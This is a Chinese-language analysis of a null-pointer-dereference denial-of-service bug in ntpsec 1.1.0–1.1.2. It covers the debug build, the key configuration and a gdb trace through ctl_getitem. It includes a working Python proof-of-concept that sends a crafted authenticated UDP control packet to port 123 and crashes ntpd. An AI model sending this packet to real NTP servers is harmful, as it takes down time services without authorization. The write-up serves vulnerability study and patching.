受影响版本:ntpsec 1.1.0, 1.1.1, 1.1.2
编译 安装 配置
配置configure,设置成允许调试
./waf configure --enable-debug --enable-debug-gdb
编译
./waf build
编译后的文件在
./build/main/ntpd/ntpd
配置文件ntp.conf
logfile /tmp/ntp.log
restrict 127.0.0.1
keys /home/magnus/resources/keys
trustedkey 1
controlkey 1
requestkey 1
/home/magnus/resources/keys文件
1 M gurka
2 M agurk
开始调试
使用gdb启动服务
gdb --args ./build/main/ntpd/ntpd -n -c ~/resources/ntp.conf
设置断点,并运行
b ctl_getitem
r
在另一个bash窗口中执行poc
#!/usr/bin/env python
# note this PoC exploit uses keyid 1, password: gurka
import sys
import socket
buf = ("\x16\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x6c\x65\x61\x70" +
"\x00\x00\x00\x01\x5c\xb7\x3c\xdc\x9f\x5c\x1e\x6a\xc5\x9b\xdf\xf5" +
"\x56\xc8\x07\xd4")
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))
再次查看ntp服务程序,发现已断开,根据bt给出的数据,程序停在了ntp_control.c:2930的位置 更进一步的讲,程序停止在
0x555555575c6c <write_variables+482> cmp BYTE PTR [rdi],0x0
结合源码进程查看 0x555555575c6c这一步的操作是rdi指向的值与0进行比较,然后再做之后的操作 而此时rdi为0x0,妥妥的空指针异常
再用gdb查看下valuep指针
gdb-peda$ p valuep
$1 = 0x0
看来是valuep指针出了问题,往上回溯,在2911处打下断点,发现在运行完ctl_getitem函数后,valuep指针为0x0
问题函数ctl_getitem的源码分析
函数第一部分
由代码可知,程序先将tp设置为空,reqpt赋值给cp,然后在cp中搜索’=’,我们在gdb中调试 显而易见,cp中不会有’=’,也不会有’,’,没有满足任何一个if语句,运行完这段代码后tp仍为0x0
函数第二部分
此时将指针data(即valuep指针)置零,tp为空的条件让*data = buf
不会被执行,运行完这段代码后data(即valuep指针)为0x0
最后一段与*data有关的代码
之后就是跳出函数,运行到2930处,为valuep赋值的时候出现空指针异常,导致DoS
至此分析全部完成
参考
https://dumpco.re/bugs/ntpsec-authed-npe
源码及poc
https://github.com/snappyJack/CVE-2019-8936/